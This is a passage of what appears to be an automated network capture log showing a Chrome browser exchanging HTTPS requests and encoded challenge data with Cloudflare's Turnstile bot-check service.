2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 4e 6a 35 44 53 54 70 44 58 6b 46 4c 4c 43 38 6e 50 55 70 6d 52 30 39 4f 56 32 74 32 54 48 78 45 61 6e 74 35 65 6e 4e 33 65 7a 5a 76 65 33 42 66 61 49 5a 64 58 54 39 66 6b 49 6c 75 59 34 57 48 58 6d 2b 4a 69 32 64 32 55 34 57 61 57 47 64 35 62 6e 36 64 58 47 36 57 59 47 65 69 66 70 5a 72 66 58 31 75 5a 6d 70 2b 73 59 2b 41 68 48 4b 6a 6a 6f 2b 5a 6a 6f 70 31 6d 6f 39 35 6c 62 4e 37 67 6e 36 6a 68 33 75 6c 70 38 75 58 6e 38 48 44 72 4a 43 4a 76 4c 32 6c 78 39 65 32 70 74 6d 79 78 71 69 7a 71 70 71 64 34 4e 6e 5a 7a 37 6a 48 78 64 50 72 33 61 50 58 70 38 50 4c 79 65 72 4e 37 38 6a 34 2b 4e 47 35 78 74 66 36 75 4f 76 38 7a 62 6a 78 75 73 53 38 34 4e 2f 44 32 4e 50 63 2b 64 38 52 43 75 67 45 7a 2b 44 67 43 78 59 4b 34 68 59 49 37 78 49 49 38 41 44 30 44 43 51 Data Ascii: Nj5DSTpDXkFLLC8nPUpmR09OV2t2THxEant5enN3ezZve3BfaIZdXT9fkIluY4WHXm+Ji2d2U4WaWGd5bn6dXG6WYGeifpZrfX1uZmp+sY+AhHKjjo+Zjop1mo95lbN7gn6jh3ulp8uXn8HDrJCJvL2lx9e2ptmyxqizqpqd4NnZz7jHxdPr3aPXp8PLyerN78j4+NG5xtf6uOv8zbjxusS84N/D2NPc+d8RCugEz+DgCxYK4hYI7xII8AD0DCQ
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 57 4a 4c 4b 44 70 64 59 6b 77 76 61 45 74 48 65 48 46 4f 52 55 73 32 65 56 4a 37 4e 6d 30 2f 50 55 4e 75 55 59 56 70 59 34 74 58 59 6d 42 33 65 33 46 79 55 49 70 4d 6a 6d 4a 69 68 57 68 58 6a 6d 35 50 61 33 57 67 6d 70 39 7a 6b 61 4e 37 66 56 35 69 63 33 69 6f 5a 36 31 70 68 61 65 44 6e 5a 53 4a 66 71 32 44 67 34 36 36 70 5a 68 32 6b 37 57 67 6e 62 71 39 76 71 53 52 79 62 65 33 67 62 65 71 72 4b 47 6c 69 71 61 4b 6a 72 47 4d 6f 4b 6e 51 74 73 75 78 6c 4c 4b 36 75 62 4b 2f 6f 62 44 4e 7a 70 2f 57 34 36 58 4b 6f 71 58 4c 7a 4f 44 69 33 62 37 42 79 71 37 30 39 74 50 54 78 73 37 54 33 66 33 74 32 51 4c 6b 41 2f 7a 62 76 66 76 35 42 77 33 57 76 38 58 50 34 4f 44 4a 35 2f 44 66 37 78 4d 4c 39 64 6a 74 45 64 77 4f 48 65 6a 59 34 4e 6e 2b 48 76 33 33 42 78 4c 71 Data Ascii: WJLKDpdYkwvaEtHeHFORUs2eVJ7Nm0/PUNuUYVpY4tXYmB3e3FyUIpMjmJihWhXjm5Pa3Wgmp9zkaN7fV5ic3ioZ61phaeDnZSJfq2Dg466pZh2k7Wgnbq9vqSRybe3gbeqrKGliqaKjrGMoKnQtsuxlLK6ubK/obDNzp/W46XKoqXLzODi3b7Byq709tPTxs7T3f3t2QLkA/zbvfv5Bw3Wv8XP4ODJ5/Df7xML9djtEdwOHejY4Nn+Hv33BxLq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50062	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:28 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:28 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 19:04:28 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: XV2LDsXFbFKFB8W2L3kbcwM4OjPyfTBQNszDhM2onoU+sFjq3zMqbssKDFafXE+7ICalw7TzEzV4TYK1CezRRw==$zRvlDaafXYuS2w565mE0SQ== Server: cloudflare CF-RAY: 901fe45a5f591869-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:28 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50063	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:28 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/901fe449df1f4249/1736881467629/37484d0b907f7f71e0325305aee69cd8665702208413495f7b7b2773af1d273a/EGGVM3Xr2YeXElZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:28 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Tue, 14 Jan 2025 19:04:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-01-14 19:04:28 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4e 30 68 4e 43 35 42 5f 66 33 48 67 4d 6c 4d 46 72 75 61 63 32 47 5a 58 41 69 43 45 45 30 6c 66 65 33 73 6e 63 36 38 64 4a 7a 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gN0hNC5B_f3HgMlMFruac2GZXAiCEE0lfe3snc68dJzoAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-14 19:04:28 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50064	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:30 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:30 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901fe4640f4bc351-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 51 00 00 00 20 08 02 00 00 00 e5 93 03 05 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRQ IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50065	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:31 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32447 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:31 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 66 65 34 34 39 64 66 31 66 34 32 34 39 3d 38 41 6d 36 59 53 55 78 62 6b 41 45 41 45 67 41 55 54 55 6b 64 42 58 48 45 78 55 39 45 74 36 50 41 63 43 45 54 36 6b 31 25 32 62 36 55 50 2b 45 2b 36 31 44 41 53 61 56 57 45 63 45 31 6c 36 45 67 6d 45 24 36 58 43 45 41 68 42 55 5a 45 4b 36 6c 55 2d 45 44 35 79 32 6d 42 36 55 78 45 58 36 54 74 43 61 72 42 63 78 79 45 6b 57 79 75 6d 48 6b 55 38 72 71 45 37 36 54 48 45 78 36 4d 49 42 45 77 58 6c 45 4d 45 34 73 4d 4a 67 67 54 50 4d 36 45 46 75 45 45 38 66 31 41 74 6b 62 45 4b 62 6f 5a 6a 2d 75 4d 57 45 63 6f 37 30 79 72 6b 73 54 24 39 31 44 5a 74 24 58 44 75 59 45 45 79 68 33 53 6c 78 54 6d 75 7a 63 6b 74 31 6d 6d 49 2d 66 69 6b 31 31 2b 4e 54 64 37 4a 42 53 52 37 74 5a 4d 58 4e 5a 38 77 42 73 4b 43 49 Data Ascii: v_901fe449df1f4249=8Am6YSUxbkAEAEgAUTUkdBXHExU9Et6PAcCET6k1%2b6UP+E+61DASaVWEcE1l6EgmE$6XCEAhBUZEK6lU-ED5y2mB6UxEX6TtCarBcxyEkWyumHkU8rqE76THEx6MIBEwXlEME4sMJggTPM6EFuEE8f1AtkbEKboZj-uMWEco70yrksT$91DZt$XDuYEEyh3SlxTmuzckt1mmI-fik11+NTd7JBSR7tZMXNZ8wBsKCI
2025-01-14 19:04:31 UTC	16063	OUT	Data Raw: 36 53 6d 45 64 45 2d 36 54 45 6d 6f 48 6c 63 33 45 33 45 53 45 78 36 58 65 61 50 55 47 45 4a 45 45 7a 56 63 55 42 36 4b 72 45 69 45 51 36 61 4c 56 72 45 33 42 55 48 55 59 54 4b 42 45 67 45 30 6c 54 45 4b 67 45 63 45 6d 6c 55 6b 55 4e 6d 44 6c 63 43 45 58 45 44 45 55 78 55 50 41 35 53 45 45 45 68 52 6c 55 6b 45 78 39 6b 42 4b 7a 55 68 36 4b 67 63 62 55 6a 45 55 76 61 46 45 30 42 42 62 4b 24 55 66 36 34 6c 63 54 55 43 45 50 45 58 57 47 46 45 72 48 58 6d 55 46 45 78 50 61 48 55 6e 45 44 49 63 6c 63 39 45 4a 45 58 74 55 49 76 33 6d 63 6c 53 45 45 52 59 6c 63 36 36 42 62 63 54 45 6a 42 42 41 45 51 56 53 36 64 66 54 75 72 56 45 6b 42 58 35 45 59 31 34 45 58 63 56 2d 63 78 36 61 50 55 4a 6b 52 42 6d 35 45 45 57 5a 48 67 33 55 33 45 35 41 54 33 45 55 48 44 49 4b Data Ascii: 6SmEdE-6TEmoHlc3E3ESEx6XeaPUGEJEEzVcUB6KrEiEQ6aLVrE3BUHUYTKBEgE0lTEKgEcEmlUkUNmDlcCEXEDEUxUPA5SEEEhRlUkEx9kBKzUh6KgcbUjEUvaFE0BBbK$Uf64lcTUCEPEXWGFErHXmUFExPaHUnEDIclc9EJEXtUIv3mclSEERYlc66BbcTEjBBAEQVS6dfTurVEkBX5EY14EXcV-cx6aPUJkRBm5EEWZHg3U3E5AT3EUHDIK
2025-01-14 19:04:31 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:31 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26320 Connection: close cf-chl-gen: 4jv/JVyTgEmQG86L7LAFXLg4oYcV+RIttOsZj5cBBlL+JtexXPYECNU00cf8DQsG$Ed6fmztYbz3MGrAVCz38Mg== Server: cloudflare CF-RAY: 901fe46a8ce40f43-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:31 UTC	1047	IN	Data Raw: 57 49 79 41 57 6e 69 4e 68 35 42 54 62 49 2b 57 56 58 56 37 69 6f 69 4d 66 31 71 4e 63 57 39 65 6b 58 57 53 65 70 52 35 6d 6f 4b 65 61 6d 36 77 6d 4b 2b 44 6e 71 4b 71 74 70 61 73 69 6f 69 6e 6a 4c 36 33 6e 4a 68 34 73 49 4b 67 74 37 32 52 6f 71 61 68 79 49 71 35 79 70 69 64 68 37 2b 4f 68 70 53 6d 77 36 65 30 30 37 53 7a 75 63 32 71 76 64 32 59 34 4b 47 67 74 64 6d 30 6e 2b 43 2f 36 74 79 70 33 4d 62 73 78 75 6e 51 7a 38 50 42 7a 4e 72 4a 2b 4b 36 76 2b 73 32 32 32 74 62 4e 76 2f 54 77 38 4e 51 4a 2f 4e 62 55 2f 4d 6b 4a 35 67 33 61 7a 4f 76 77 46 75 6b 4d 31 52 67 56 2b 66 72 35 37 65 38 61 34 74 6f 55 2b 68 38 41 42 52 37 33 36 78 33 6e 36 77 76 75 4a 69 59 6b 46 52 51 51 4c 52 6b 78 4d 69 67 63 39 78 34 65 49 69 4d 69 46 6a 4d 76 2f 45 49 57 42 6b 59 Data Ascii: WIyAWniNh5BTbI+WVXV7ioiMf1qNcW9ekXWSepR5moKeam6wmK+DnqKqtpasioinjL63nJh4sIKgt72RoqahyIq5ypidh7+OhpSmw6e007Szuc2qvd2Y4KGgtdm0n+C/6typ3MbsxunQz8PBzNrJ+K6v+s222tbNv/Tw8NQJ/NbU/MkJ5g3azOvwFukM1RgV+fr57e8a4toU+h8ABR736x3n6wvuJiYkFRQQLRkxMigc9x4eIiMiFjMv/EIWBkY
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 41 64 33 57 52 6d 6c 39 78 64 5a 36 4a 61 59 42 6c 64 70 2b 50 70 4a 4b 6c 6b 70 57 6f 6a 4b 75 77 68 4a 57 49 68 58 53 4d 76 59 2b 78 77 33 36 31 66 5a 53 36 74 35 2b 6a 76 58 36 59 71 5a 65 6c 71 73 57 78 76 70 4b 78 30 36 71 75 72 61 71 72 73 62 36 64 72 37 58 44 72 72 54 41 34 72 72 6b 6e 36 53 6f 70 37 7a 65 75 4f 2f 72 30 50 44 52 79 4d 54 56 37 38 72 31 79 72 7a 59 30 76 66 58 31 2f 4c 77 37 75 58 6b 2b 63 54 58 35 63 62 68 34 64 62 48 33 75 37 7a 46 51 7a 71 36 64 41 4b 36 76 66 6e 45 68 4c 7a 48 68 45 51 34 67 51 54 35 52 6a 6e 41 42 4c 30 4a 69 49 75 2b 44 44 70 45 2f 44 73 38 67 59 33 37 51 45 58 44 76 51 79 48 53 67 56 47 79 38 50 4e 69 33 39 41 42 55 56 4f 55 4d 58 53 79 6f 2b 54 53 45 37 54 79 64 4c 45 44 41 33 4a 68 51 36 47 55 63 79 46 6b Data Ascii: Ad3WRml9xdZ6JaYBldp+PpJKlkpWojKuwhJWIhXSMvY+xw361fZS6t5+jvX6YqZelqsWxvpKx06quraqrsb6dr7XDrrTA4rrkn6Sop7zeuO/r0PDRyMTV78r1yrzY0vfX1/Lw7uXk+cTX5cbh4dbH3u7zFQzq6dAK6vfnEhLzHhEQ4gQT5RjnABL0JiIu+DDpE/Ds8gY37QEXDvQyHSgVGy8PNi39ABUVOUMXSyo+TSE7TydLEDA3JhQ6GUcyFk
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 6d 49 69 5a 66 34 6c 6d 70 6f 75 62 72 34 36 76 66 49 47 45 73 58 65 76 6c 4a 4a 34 71 6e 79 52 6a 36 46 33 6e 73 50 45 6d 34 44 44 6d 35 76 4c 77 73 66 42 7a 4c 6e 4b 76 4a 7a 46 73 74 50 55 70 70 69 7a 7a 4d 66 62 75 35 43 71 73 4a 33 43 75 4f 43 38 73 75 62 6d 6f 4d 58 67 34 36 6d 74 70 71 4b 6e 71 62 43 75 74 4e 2b 74 30 63 58 53 31 2f 44 4c 30 4f 2b 36 41 74 33 44 76 67 47 39 35 2f 7a 34 43 2b 50 6d 79 41 67 4e 35 65 58 50 43 67 7a 48 42 52 44 58 34 77 6f 55 36 2b 37 6e 38 69 45 65 34 64 6f 6c 4a 68 6f 65 45 66 76 6f 49 75 6e 34 39 69 59 5a 49 54 4d 4d 44 7a 51 77 4e 51 34 4f 39 6a 54 36 47 50 55 32 4b 68 77 35 4c 6a 63 53 51 6a 38 34 50 79 41 72 54 41 6b 4e 48 41 6f 4d 51 55 45 54 44 45 46 4c 4b 30 35 54 4b 31 78 57 4c 56 51 39 47 7a 5a 52 48 6d 5a Data Ascii: mIiZf4lmpoubr46vfIGEsXevlJJ4qnyRj6F3nsPEm4DDm5vLwsfBzLnKvJzFstPUppizzMfbu5CqsJ3CuOC8submoMXg46mtpqKnqbCutN+t0cXS1/DL0O+6At3DvgG95/z4C+PmyAgN5eXPCgzHBRDX4woU6+7n8iEe4dolJhoeEfvoIun49iYZITMMDzQwNQ4O9jT6GPU2Khw5LjcSQj84PyArTAkNHAoMQUETDEFLK05TK1xWLVQ9GzZRHmZ
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 57 75 4c 6f 5a 43 4d 69 5a 42 74 67 4b 2b 4c 63 61 71 47 66 48 61 75 6d 71 39 34 73 73 53 6c 66 4c 62 49 6b 70 36 35 74 73 43 75 7a 63 4b 36 7a 63 2b 7a 79 72 43 2f 7a 4d 6d 70 6c 35 4b 54 32 4b 69 35 76 4b 71 39 76 4a 61 62 6f 4b 53 6a 78 62 53 33 6f 75 76 58 76 4f 2f 66 79 62 76 6a 79 76 43 30 35 4d 61 33 39 72 50 6c 33 39 6e 36 30 39 37 37 32 74 6e 57 35 4e 72 53 42 63 73 4b 78 51 66 58 41 4f 6a 6b 46 65 7a 54 37 78 66 73 39 4f 6e 6d 39 66 6f 4e 39 39 38 69 37 75 4c 74 35 50 45 56 4b 41 45 55 4a 77 41 48 41 41 67 61 36 4f 77 63 4e 6a 55 44 44 41 6f 50 47 66 55 64 48 77 6e 78 46 42 6e 35 47 79 45 75 44 30 51 63 49 54 73 6a 4b 54 59 74 48 41 30 67 4c 67 38 71 4b 68 38 51 4a 7a 63 38 58 56 51 79 47 6c 59 59 58 45 31 4f 5a 46 64 68 55 6d 68 66 5a 56 59 6a Data Ascii: WuLoZCMiZBtgK+LcaqGfHaumq94ssSlfLbIkp65tsCuzcK6zc+zyrC/zMmpl5KT2Ki5vKq9vJaboKSjxbS3ouvXvO/fybvjyvC05Ma39rPl39n609772tnW5NrSBcsKxQfXAOjkFezT7xfs9Onm9foN998i7uLt5PEVKAEUJwAHAAga6OwcNjUDDAoPGfUdHwnxFBn5GyEuD0QcITsjKTYtHA0gLg8qKh8QJzc8XVQyGlYYXE1OZFdhUmhfZVYj
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 53 51 74 34 65 6b 62 36 5a 34 64 6e 53 51 65 33 75 58 75 58 58 41 67 4d 4f 64 77 36 71 68 6f 37 36 46 6c 36 6d 63 69 61 53 71 78 73 65 56 72 38 62 5a 70 70 6e 4d 72 4e 75 63 7a 4e 79 59 73 61 33 58 72 38 50 69 70 64 4c 59 75 71 66 69 78 38 62 70 33 2b 75 30 33 74 48 4d 34 63 7a 52 75 72 54 78 30 50 37 41 33 67 44 59 42 63 41 49 33 51 4d 4a 38 2b 41 45 35 77 6e 4b 77 67 33 7a 37 78 62 76 7a 75 30 4c 35 76 48 73 35 76 45 57 38 52 4d 55 45 2f 77 41 46 42 67 43 33 2b 67 67 42 50 6b 47 4b 77 6a 35 37 43 6b 45 2f 67 6f 74 44 79 6f 6b 2b 51 38 49 4b 43 34 5a 48 45 45 69 46 68 38 57 41 68 38 55 4e 41 51 70 50 79 4d 59 49 42 31 49 43 53 34 4e 55 45 59 75 4e 45 78 53 4c 44 6b 36 54 54 42 52 50 7a 6b 35 57 46 41 6e 50 57 6c 6c 53 55 63 32 4c 56 35 4e 54 57 46 63 52 Data Ascii: SQt4ekb6Z4dnSQe3uXuXXAgMOdw6qho76Fl6mciaSqxseVr8bZppnMrNuczNyYsa3Xr8PipdLYuqfix8bp3+u03tHM4czRurTx0P7A3gDYBcAI3QMJ8+AE5wnKwg3z7xbvzu0L5vHs5vEW8RMUE/wAFBgC3+ggBPkGKwj57CkE/gotDyok+Q8IKC4ZHEEiFh8WAh8UNAQpPyMYIB1ICS4NUEYuNExSLDk6TTBRPzk5WFAnPWllSUc2LV5NTWFcR
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 59 65 4b 79 58 72 70 47 33 76 4a 39 37 66 5a 53 68 70 4a 4f 62 6f 36 69 46 6e 71 6d 2f 30 4b 47 71 78 6f 7a 41 73 61 53 75 70 4d 71 55 79 61 7a 53 77 4d 32 34 31 4d 57 76 7a 38 53 6a 74 37 50 63 7a 4a 2f 4a 34 71 7a 6b 30 65 66 42 77 38 4c 72 36 50 6a 56 31 74 6a 65 7a 39 66 51 39 4d 76 65 34 50 54 59 31 74 54 7a 76 4f 62 6c 44 64 37 6e 78 2b 50 68 38 4e 41 4b 39 77 72 34 44 75 34 50 45 42 72 30 45 78 66 61 38 42 63 46 45 51 41 58 2b 53 41 6c 43 4f 50 6c 2f 41 6f 4e 2b 77 51 4d 45 65 30 48 45 69 67 35 43 68 4d 76 39 43 6b 61 44 52 63 4e 4d 2f 77 79 4b 44 77 70 42 79 41 38 4c 68 67 6f 4c 67 77 4c 4b 45 59 51 53 69 78 4b 4f 55 49 75 4f 44 30 34 52 7a 4d 75 4e 7a 67 39 56 31 6b 76 57 45 55 33 51 45 59 35 5a 46 6c 4a 63 69 35 49 51 30 46 6c 51 6c 42 76 5a 6c Data Ascii: YeKyXrpG3vJ97fZShpJObo6iFnqm/0KGqxozAsaSupMqUyazSwM241MWvz8Sjt7PczJ/J4qzk0efBw8Lr6PjV1tjez9fQ9Mve4PTY1tTzvOblDd7nx+Ph8NAK9wr4Du4PEBr0Exfa8BcFEQAX+SAlCOPl/AoN+wQMEe0HEig5ChMv9CkaDRcNM/wyKDwpByA8LhgoLgwLKEYQSixKOUIuOD04RzMuNzg9V1kvWEU3QEY5ZFlJci5IQ0FlQlBvZl
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 6c 62 53 36 78 61 53 35 71 49 61 70 76 4b 79 47 72 4d 44 47 7a 61 6a 46 74 62 32 77 79 4d 2f 46 72 73 32 73 6a 37 58 50 6d 35 37 41 31 71 43 7a 76 39 6e 49 70 73 48 64 34 71 72 42 34 4e 43 75 79 75 58 45 70 38 76 70 32 50 6e 55 37 4c 66 35 30 2f 47 38 30 39 76 32 2b 39 66 66 2b 4d 4d 4b 34 76 76 48 78 75 59 42 34 4d 50 74 42 39 44 6e 39 41 6e 34 31 75 30 4e 2f 51 72 7a 45 64 73 69 2b 52 55 47 2b 2f 77 5a 48 79 62 2b 48 51 34 41 44 53 49 42 4d 67 6f 6e 37 2b 63 4f 4b 50 4d 36 44 79 37 34 45 42 63 79 49 68 67 62 4e 68 55 44 47 6a 6b 61 48 43 45 2b 4c 51 41 6f 51 6b 67 2b 4b 55 59 6c 55 69 74 4b 4f 51 77 79 54 53 34 77 4e 46 4d 63 46 44 35 55 49 54 77 2b 57 32 42 41 52 56 34 39 4b 30 31 68 4c 56 70 47 5a 56 5a 41 55 57 6f 30 4d 30 39 74 54 6c 52 61 63 44 31 Data Ascii: lbS6xaS5qIapvKyGrMDGzajFtb2wyM/Frs2sj7XPm57A1qCzv9nIpsHd4qrB4NCuyuXEp8vp2PnU7Lf50/G809v2+9ff+MMK4vvHxuYB4MPtB9Dn9An41u0N/QrzEdsi+RUG+/wZHyb+HQ4ADSIBMgon7+cOKPM6Dy74EBcyIhgbNhUDGjkaHCE+LQAoQkg+KUYlUitKOQwyTS4wNFMcFD5UITw+W2BARV49K01hLVpGZVZAUWo0M09tTlRacD1
2025-01-14 19:04:31 UTC	1369	IN	Data Raw: 71 47 47 6e 63 4b 61 72 36 43 67 75 61 57 69 72 36 33 46 72 63 37 42 72 61 76 64 74 63 32 31 31 73 6d 31 74 63 58 62 31 4e 66 6f 33 64 4c 47 76 4e 66 6c 33 36 75 71 77 4d 6e 51 39 63 58 4a 32 50 58 51 37 4d 7a 64 75 74 72 51 36 2f 6e 7a 76 37 37 62 39 76 34 45 43 41 44 2b 78 74 33 68 38 41 77 48 41 75 34 41 30 67 63 5a 34 2b 50 73 48 68 41 54 44 76 72 72 38 42 4d 62 49 42 34 63 47 53 4c 39 2f 53 51 6b 4b 43 41 78 4c 68 73 46 42 54 41 70 4c 43 76 79 43 67 30 64 4f 44 55 76 4e 7a 77 32 4f 44 55 75 47 68 6c 41 51 45 41 38 54 54 6f 33 49 43 46 4d 51 55 68 48 44 79 59 71 4b 56 52 59 53 31 42 55 53 54 55 78 49 53 42 59 56 78 38 32 4f 44 6c 6b 56 55 45 39 4c 53 78 66 5a 32 78 64 53 55 55 78 4e 47 78 72 4d 30 70 4e 4f 48 68 70 56 56 45 39 51 48 4e 37 67 48 46 64 Data Ascii: qGGncKar6CguaWir63Frc7Bravdtc211sm1tcXb1Nfo3dLGvNfl36uqwMnQ9cXJ2PXQ7MzdutrQ6/nzv77b9v4ECAD+xt3h8AwHAu4A0gcZ4+PsHhATDvrr8BMbIB4cGSL9/SQkKCAxLhsFBTApLCvyCg0dODUvNzw2ODUuGhlAQEA8TTo3ICFMQUhHDyYqKVRYS1BUSTUxISBYVx82ODlkVUE9LSxfZ2xdSUUxNGxrM0pNOHhpVVE9QHN7gHFd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50066	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
